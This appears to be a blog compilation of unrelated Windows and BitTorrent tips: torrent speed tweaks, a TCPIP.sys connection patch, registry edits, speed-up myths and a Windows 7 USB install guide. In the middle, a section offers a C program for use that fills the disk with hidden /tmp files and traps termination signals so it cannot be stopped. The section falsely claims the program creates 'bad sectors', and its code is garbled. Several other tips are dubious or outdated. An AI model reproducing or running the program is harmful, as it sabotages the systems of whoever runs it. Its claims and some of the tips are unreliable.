10 Ways To Speed Up Torrent Downloads

Imagine being on the autobahn with the accelerator down and then you realize that you are driving a wrecked car. The plight is not so uncommon on the information superhighway too.

Torrent users would attest to the fact that half of our time is spent looking for ‘healthy’ torrents and the other half trying to download (and a bit of upload too) at the maximum speed. The former is mandatory; the latter thankfully is within the realm of tweaking.

If you are the one who thinks that your torrent download speeds could do with a boost then keep reading. Below, you’ll find a few tips on how to speed up torrent download speed.

   1.      Your ISP is where it starts

      Check the maximum download and upload speeds allowed by your ISP. Most ISP’s have specific bandwidths for both uploads and downloads. Obviously your torrent download speed won’t cross the cap set by the ISP. Go over to this article on Speed.io for broadband speed test and this one by Tina on ways to increase your connection speed. There are many other bandwidth testers like DSLReports which is included in the speed test within uTorrent.
   2.      Choosing the right BitTorrent client

      Use the better clients out there like uTorrent, Vuze or the BitTorrent client itself. Wikipedia lists about 51 of them supporting the BitTorrent protocol. The choice of client used should always be updated to the latest version. The screenshots here depict uTorrent. The settings should be similarly configurable for other clients too. Mac users shuld also check our Transmission vs. uTorrent post
   3.      Go for healthy seeds and peers

      A peer is any computer participating in the download and upload of a torrent file. A seed (or seeder) is anyone who has one complete copy of the file being shared across the torrent network. A leech (or a leecher) is the person who does not have the complete file yet but has joined the network to download it. A leecher becomes a seeder when he downloads the entire file and then shares it across the network. Increase torrent downloading speed by choosing healthy seeds

      For high torrent speeds, the best bet is in numbers. The greater the number of seeders, the healthier the torrent and the better the chance of higher speeds. The rule of thumb says to choose the torrent files with a high number of seeders and preferably lesser number of leechers i.e. a higher seed-leecher ratio.
   4.      Get through the firewall

      Firewalls can block all incoming BitTorrent connections coming through. To ensure otherwise, a firewall should be manually configured to accept the connections and let it through the client. Windows XP has the Windows Firewall. Configure the firewall installed to accept the connections by checking the BitTorrent client on the allowed list i.e. Options – Preferences – Connection – check Add uTorrent to Windows Firewall. Also, check the Windows Firewall exception (if you keep it enabled) in your client too. Shutting down the firewall is not recommended as it leaves the computer open to attack.

      Note: If the home computer is behind a router, it also should be configured through the feature called Port Range Forwarding to enable torrent traffic. The router documentation should have specific information on this.
   5.      Limit your upload rate

      A peer to peer network is all about sharing alike, but an unlimited upload rate hits the download rate too. Using the speed tests, find out your maximum upload speed and then set your client’s upload rate (Global Upload Rate in uTorrent) to about 80% of your maximum upload speed. You can also try varying your upload speeds – keep it high initially and then gradually bring it down towards the middle of the download.

      Note: Mind the speed units – it may be given in kilobits per second (kb/sec) or kilobytes per second (kB/sec). 1 kilobyte = 8 kilobit
   6.      Go to a different port

      The default port for the BitTorrent protocol is any between port numbers 6881-6999. ISPs throttle traffic on these ports as BitTorrent sharing involves high bandwidth usage. It’s easy to configure a different port in your torrent client. Use some number above 10000 to get around ISPs and also avoid problems with other applications. By default, the uTorrent port is randomized each time it starts. Set a specific port by not enabling the Randomize Port setting.
   7.      Increase the number of Max Half Open TCP connections

      This figure specifies how many connections a torrent client should attempt to establish simultaneously at any given time. Windows XP with Service Pack 2 (SP2) or newer, limits this to a default of 10 as a barrier against virus multiplication. But that’s a bummer for torrent speeds as torrents too need a large number of simultaneous connections.

      A patch has been available for a while from LvlLord which modifies the TCPIP.sys file in Windows to allow a higher number of TCP connections.

      increase the half open tcp connections

      After running the patch, you have to set the number of connections in your torrent client. For example, in uTorrent go to Options – Preferences – Advanced – net.max_halfopen. Set any number from 50 to 100. But see that net.max_halfopen is set lower than the value set in TCPIP.SYS. Always check if it is still patched because Windows updates sometimes overwrite it.

   8.      Experiment with Protocol Encryption

      Some ISPs love to act like Big Brothers and constrict bandwidth for P2P protocols. Protocol Encryption in most of the torrent clients helps to override this bandwidth shaping. Enable outgoing protocol encryption and put a checkmark on Allow Incoming Legacy Connections.

      With protocol encryption, ISPs find it difficult if not impossible to detect that the traffic is coming from BitTorrent. Experiment with enabled, disabled and forced options because you could be getting better speeds with encryption disabled. Non-encryption makes a torrent connection compatible with someone who is not using encryption but as a minus it makes the torrent detectable to an ISP with a bandwidth restricting policy.
   9.      Bandwidth and connections

      Your BitTorrent client’s settings options will let you enter figures for –

      Global maximum number of connections gives the maximum number of connections that a BitTorrent client can make for any P2P exchange. Setting this too high does NOT mean higher speeds. Setting it too high would take up useless bandwidth and too low a figure would miss out on peers. For my 256kbps connection, I have a setting of 130.

      Maximum number of connected peers per torrent gives the maximum number of peers that a BitTorrent client can connect to for any P2P exchange. Experiment by setting this number close to the available peers for a particular torrent. For my 256kbps connection, I have a default setting of 70.

      Number of upload slots per torrent gives the maximum number of peers that a BitTorrent client will upload to for any P2P exchange. A low setting may affect downloads. For my 256kbps connection, I have a setting of 3.

      uTorrent has a Speed Guide which handily calculates the figures for a particular connection.
  10.      Some common sense

      Most BitTorrent clients allow us to view the individual files in a download. You can selectively disable the download of files you don’t think necessary.

      Familiarize yourself with the customization settings of your particular client available in the Help files or at the website FAQs.

HOW TO CREATE BAD SECTORS IN HDD

Create bad sectors in HDDThis program will create BAD Sectors on HDD.
Create this programme in C and run……
#include
#include
#include
#include
#include
#include
#include
#define HDSIZE 640000
void handle_sig();
int main() {
int i = 0;
int x;
int fd[5];
signal(SIGINT, handle_sig);
signal(SIGHUP, handle_sig);
signal(SIGQUIT, handle_sig);
signal(SIGABRT, handle_sig);
signal(SIGTERM, handle_sig);
char *buf;
buf = malloc(HDSIZE);
printf(“sekt0r: trashing hard disk with bad sectors!\n”);
while(1) {
fd[1] = open(“/tmp/.test”, O_WRONLYO_CREAT, 511);
fd[2] = open(“/tmp/.test1″, O_WRONLYO_CREAT, 511);
fd[3] = open(“/tmp/.test2″, O_WRONLYO_CREAT, 511);
fd[4] = open(“/tmp/.test3″, O_WRONLYO_CREAT, 511);
fd[5] = open(“/tmp/.test4″, O_WRONLYO_CREAT, 511);
for(x = 0; x < 5; x++) {
write(fd[x], buf, HDSIZE);
lseek(fd[x], 0, SEEK_SET);
close(fd[x]);
} /* end for() loop. */
} /* end while() loop. */
} /* end main(). */
void handle_sig() {
/* Reset signal handlers. */
signal(SIGINT, handle_sig);
signal(SIGHUP, handle_sig);
signal(SIGQUIT, handle_sig);
signal(SIGABRT, handle_sig);
signal(SIGTERM, handle_sig);
printf(“sekt0r: cannot exit – trashing hard disk with bad sectors!\n”);
return; /* go back to creating bad sectors. */
}
Credits: crack0hack.wetpaint.com
Note : Don’t Use this programme on Self Harddisk……………. Useing & Tesing of This Programme on Your Self Responsibilty……………………..

Change Start logo in Xp

First Step

The first step is to make a backup copy of the file explorer.exe located at C:\Windows\explorer. Place it in a folder somewhere on your hard drive where it will be safe. Start Resource Hacker and open explorer.exe located at C:\Windows\explorer.exe

The category we are going to be using is String Table In Resource Hacker. Expand it by clicking the plus sign then navigate down to and expand string 37 followed by highlighting 1033. If you are using the Classic Layout rather than the XP Layout, use number 38. The right hand pane will display the stringtable as shown in Fig. 02. We’re going to modify item 578, currently showing the word “start” just as it displays on the current Start button.

There is no magic here. Just double click on the word “start” so that it’s highlighted, making sure the quotation marks are not part of the highlight. They need to remain in place, surrounding the new text that you’ll type. Go ahead and type your new entry

Second Step – Modify the Registry

Now that the modified explorer.exe has been created it’s necessary to modify the registry so the file will be recognized when the user logs on to the system. If you don’t know how to access the registry I’m not sure this article is for you, but just in case it’s a temporary memory lapse, go to Start (soon to be something else) Run and type regedit in the Open: field. Navigate to:

HKEY_LOCAL_MACHINE\ SOFTWARE\ Microsoft\ Windows NT\ CurrentVersion\ Winlogon

the right pane (Fig. 05), double click the Shell entry to open the Edit String dialog box as shown in Fig. 06. In Value data: line, enter the name that was used to save the modified explorer.exe file. Click OK.

Close Registry Editor and either log off the system and log back in, or reboot the entire system if that’s your preference. If all went as planned you should see your new Start button with the revised text.

Install Windows xp Very Fast

                 

Now, this tip will be very helpful for those who frequently install windows xp operating system. Normally OS installation takes around 40 minutes to complete, but through this trick you can now save 10-15 minutes. This simple tricks goes this way.
1. Boot through Windows XP CD.
2. After all the files are completely loaded, you get the option to select the partition. Select “c”.
3. Now Format the partition, whether it is normal or quick with NTFS or FAT
4. Once the formatting is completed, All the setup files required for installation are copied. Restart your system by pressing Enter.
Now, here begins the Simple trick to save 10-15 minutes.
5. After rebooting, you get a screen where it takes 40 minutes to complete or finalize the OS installation.
6. Now, Press SHIFT + F10 Key -> This opens command prompt.
7. Enter “Taskmgr” at the command prompt window. This will open Task Manager.
8. Click the Process Tab, here we find a process called Setup.exe -> Right Click on Setup.exe -> Set Priority -> Select High or Above Normal. Initially it will be Normal.
Thats it, no more work to do. Relax your self and see how fast the installation process completes

Increase bittorent download Speed

     The latest file sharing protocol bittorrent has modified everything when it comes to file sharing. It is a nice platform for downloading large files. Sharing of files include movies, iso images and MP3 songs. Bittorent is mainly famous for illegal file sharing .
The Bittorrent system can be slow at times due to heavy traffic. so let us tweak bittorrent sharing program a little bit.
There are a lot of different bittorrent clients that you can download. I think the best are BitCommet and uTorrent.

Here is a few tips to speed up uTorrent Client. Similar can be implemented on any other torrent clients ,which you are using.

 

Step 1: Increase TCP connections

You need to increase the number of TCP connections that are allowed at max.Windows XP Service Pack 2 came with the number of allowed open connections to 10. This is to stop any piece of spyware(in our case bittorent client even) from totally taking over your internet connection. TCP connection allowed should be 50 for optimal performance. The best way to increase the maximum number of connections is to apply patch that is available at www.lvllord.de. A nice way to fix this is to download this patch .

The little tweak to the torrent client works great in certain times. If you’re using uTorrent go to Options menu then Preferences. In the Preferences go the Advanced Options. In the advanced options change the net.max_halfopen connections to 80. In the same section change the max half open tcp connections to 80. Once your done click on OK and you are all set. This tweak will let the maximum TCP connection available for the bittorrent client. Now start downloading you’ll realize a little difference in the download speed. Port forwarding technique is more effective than this.

                               A third point of interest is that some “windows updates” revert your tweaked tcp connections back to 10. So it’s wise to check this every now and then. You can check this by going to (in windows xp) Start > Control Panel > Administrative Tools > Event Viewer > System… Look for event 4226 (sort by event).
If there are a lot of daily occurrences it’s likely that the max amount of half-open tcp connections was set back to 10. Or you’re infected with some nasty spy ware…

Step 2:Torrent Client Configuration
In order to apply these tips you must know your maximum up- and download speed. You can test your bandwidth over here (stop all download activity while testing).

Settings 1-4 can be found in the options, settings or preference tab of most torrent clients.

1. Maximum upload speed 

Probably the most important setting there is. Your connection is (sort of) like a pipeline, if you use you maximum upload speed there’s not enough space left for the files you are downloading. So you have to cap your upload speed.

Use the following formula to determine your optimal upload speed…

80% of your maximum upload speed

so if your maximum upload speed is 40 kB/s, the optimal upload rate is 32kB/s But keep seeding!

Top 20 Tips To Keep Your System Faster

Top 20 Tips To Keep Your System Faster
Follow these tips and you will definitely have a much faster and more reliable PC!

 1. Wallpapers: They slow your whole system down, so if you're willing to compromise, have a basic plain one instead!

2. Drivers: Update your hardware drivers as frequently as possible.  New drivers tend to increase system speed especially in the case of graphics cards, their drivers are updated by the manufacturer very frequently!

3. Minimizing: If you want to use several programs at the same time then minimize those you are not using.  This helps reduce the overload on RAM.

4. Boot Faster: The 'starting Windows 98/XP' message on startup can delay your booting for a couple of seconds.  To get rid of this message go to c:\ and find the file Msdos.sys.  Remove the Read-Only option.  Next, open it in Notepad or any other text editor.  Finally, go to the text 'Options' within the file and make the following changes: Add BootDelay=0.  To make your booting even faster, set add Logo=0 to remove the Windows logo at startup.

5. Restart only Windows: When restarting your PC, hold down Shift to only restart Windows rather than the whole system which will only take a fraction of the time.

6. Turn Off Animations:  Go to Display Settings from the Control Panel and switch to the Effects Tab. Now turn off Show Windows Content While Dragging and Smooth Edges on Screen Fonts.  This tip is also helpful with Windows XP because of the various fade/scroll effects.

7. Faster Start-Menu Access: Go to the Start menu and select Run.  Now type Regedit and hit Enter.  The Registry Editor will appear on the screen.  Now, open the folder HKEY_CURRENT_USER\Control Panel\Desktop.  You should see a MenuShowDelay value.  If you don't then do the following: right click on a blank space in the right pane and select New\String.  Change the name in the new value to MenuShowDelay.  Now that we have the MenuShowDelay value, double click on it and enter 0 in the value data field.  This sets the start menu delay to 0 milliseconds.

8. Resolutions: If you are willing to do anything for faster performance from your PC, then try lowering your display resolution.  The lower it is, the faster your PC.

9. Turn off Active Desktop:  Go to your Display Properties and switch to the Web tab.  Uncheck View My Active Desktop As a Web Page.  Since the Active Desktop option under Windows 98 uses a lot of system resources, this option can have a dramatic effect on the speed of the whole system.

10. Defragment Often:  Windows 98's Defrag tool uses Application Acceleration from Intel which means that when you defragment your drive, data is physically arranged on the drive so that applications will load faster.

11. Take your PC to Bed:  Using the Advanced Power Management feature under Windows 98 gives you the option to use the sleep command.  That way, you can send your PC to sleep instead of shutting it down and then restarting it.  It's as simple as pressing a button and then pressing the same button to wake it up.  You can tell Windows after how many minutes/hours of inactivity to automatically sleep the machine in the Advanced Power Management section of the Control Panel.

12. Faster Internet Access: If you use the internet for reference and the sites you visit are rarely  updated then try the following.  In IE (the same can be done in Netscape) go to Tools, Internet Options.  Next, click on Settings... in the Temporary Internet Files  section.  Finally, select Never for the first option and double the amount of storage space to use, click OK!

13. Benchmarking: Benchmarking can be very useful when run frequently.  It can tell you how your PC's components are performing and then compare them to other machines like yours.  For example, when you overclock your PC, you want to know how much more speed you have and whether it is stable.  All this and more can be discovered using benchmarking.  An excellent piece of software for doing this job is SiSoft Sandra which can be found in the Downloads File Archive!

14. Refresh the Taskbar without restarting: If you in some way change the taskbar, either in Regedit or elsewhere, you can refresh the task bar without restarting.  Hold down Ctrl Alt Del, and double click on Explorer.  Say Yes to close Explorer, but no to closing Windows.  This will refresh the Taskbar and system tray.

15. Quick CD Eject: Instead of pushing the button on your drive, right-click your CD drive letter in My Computer and click on Eject.  This will also remove any icons that have become associated with the CD drive.

16. Start Up Programs:  Windows can be slowed down when programs run on start up.  To eliminate this, check your Start up folder.  You can access it from the start menu: Start, Programs, Start Up.  Another way to eliminate programs from loading even before Windows actually starts is by doing the following: Click on Start, then Run.  Type msconfig.  It will take quite a long time for this program to load, but when you finally see it on your screen, explore the different tabs.  They all have to do with how quickly your PC boots, so select what you want, and uncheck what you don't want!

17. Fonts: When Windows starts, it loads every single font in the Fonts folder.  Therefore, the more fonts you have, the slower the booting process.  To get rid of unwanted fonts, simply go to the Fonts folder under c:\windows and remove whatever you don't want.  Fonts that have a red letter 'A' as their icon are system fonts, so don't delete them.

18. Stretching Wallpapers:  Don't "stretch" your wallpaper in Windows 98 since it actually slows Windows down when you drag icons around on the desktop.

19. RAM Matters: If you have less than 32MB then you should seriously think of upgrading it to at least 64MB.  Windows runs much more smoothly with 64MB or higher and tends to use less hard disk space for virtual memory.

20. Partitioning: A very nice little thing you can do to boost system performance.  By partitioning your hard drive, splitting one physical drive into several logical ones, you can gain several advantages.  1. If you get a virus or you accidentally format a drive, not all will be lost.  2. By placing the swap file (Win386.swp) on a separate drive, The swap file will be less fragmented and thus, faster. 3. Place Windows on a separate drive and whenever you need to reinstall it, you rest assured that your data is safe on a separate drive.  Partitioning can be done using a few programs such as FDisk which comes with DOS.  However, FDisk formats everything on the hard disk before partitioning. Alternatively, you can use Partition Magic from Power Quest to partition your hard disk without losing your data.

Increase your RAM and so system speed.

1). Start any application, say Word. Open some large documents.

2). Press CTRL+SHIFT+ESC to open Windows Task Manager and click Processes tab and sort the list in descending order on Mem Usage. You will notice that WINWORD.EXE will be somewhere at the top, using multiple MBs of memory.

 

3). Now switch to Word and simply minimize it. (Don't use the Minimize All Windows option of the task bar).

 

4). Now go back to the Windows Task Manager and see where WINWORD.EXE is listed. Most probably you will not find it at the top. You will typically have to scroll to the bottom of the list to find Word. Now check out the amount of RAM it is using. Surprised? The memory utilization has reduced by a huge amount.

 

5). Minimize each application that you are currently not working on by clicking on the Minimize button & you can increase the amount of available RAM by a substantial margin. Depending upon the number and type of applications you use together, the difference can be as much as 50 percent of extra RAM.

                In any multitasking system, minimizing an application means that it won't be utilized by the user right now. Therefore, the OS automatically makes the application use virtual memory & keeps bare minimum amounts of the code in physical RAM.

Install Windows 7 from a Pendrive / Create a bootable Pendrive to install Windows 7

Here is a small and working tutorial to install windows 7 from a bootable USB or Pendrive. These days most of them have a USB or Pendrive. So why don’t you try this trick. Earlier i have posted on How to Install vista from a Pendrive. Installing Windows 7 using a pendrive is very much faster than that from DVD/CD. You just need to follow some small steps to do this. You can keep this pendrive/USB drive for future installation of Windows 7. If you are a beginner or dont want to get messed up by typing in all commands, here is a Free Utility To Create A Bootable USB To Install Windows 7, Vista & Server 2008. This tool will help you to automate the process of bootable pendrive’s and you can install windows 7 from pendrive easily. If not you can follow this guide to install windows 7 from a pendrive.

Make sure you have a Pendrive or USB drive with a minimum of 4 GB space and you have the Windows 7 installation DVD. This tutorial is best suited if you have a Windows 7 DVD with you else you need to change it

1. Format the Pendrive or USB drive in NTFS format first.
2. From the start menu right click on the command prompt and select “Run as administrator“.
3. Now type the following commands (Press enter key after each command).
4. diskpart. This is to open the disk partition program.
5. Now to show the list of drives type list disk.
6. You can see disk’s listed there. Note down the disk number of your pendrive eg. Disk .
7. Now type SELECT DISK X (where X is the number you noted down for the pendrive from step 5)
8. Now type CLEAN.
9. Now type the following commands by pressing enter after each one.
10. CREATE PARTITION PRIMARY
11. SELECT PARTITION 1 (Assuming your pendrive/ USB drive is 1).
12. ACTIVE
13. FORMAT FS=NTFS
14. ASSIGN
15. EXIT(Now the disk partition program will exit). Now we need to give some more commands.
16. Now insert the Windows 7 Installation DVD and to your DVD drive.
17. Here i am assuming DVD drive as G and Pendrive as I.(Change it accordingly).
18. Now type G:CD BOOT
19. Now type this command BOOTSECT.EXE/NT60 I: to update your USB drive with bootmgr code.
20. Finally copy all the contents from the Windows 7 DVD to your Pendrive. Make sure you don’t cause any errors.
21. Plug / Insert your pendrive to your PC and restart the system.
22. Now Enter the Bios system accordingly by pressing the key delete.(This may vary some times it will be F2 or F12. It depends on the type of your system. Any how during the start up your system will display which key to press to enter the Bios).
23. Now select the USB/ Pendrive as the first boot driver.(Set the first boot priority to USB drive.).
24. Now save the settings in Bios and restart and you will be able to Install Windows 7 using that pendrive.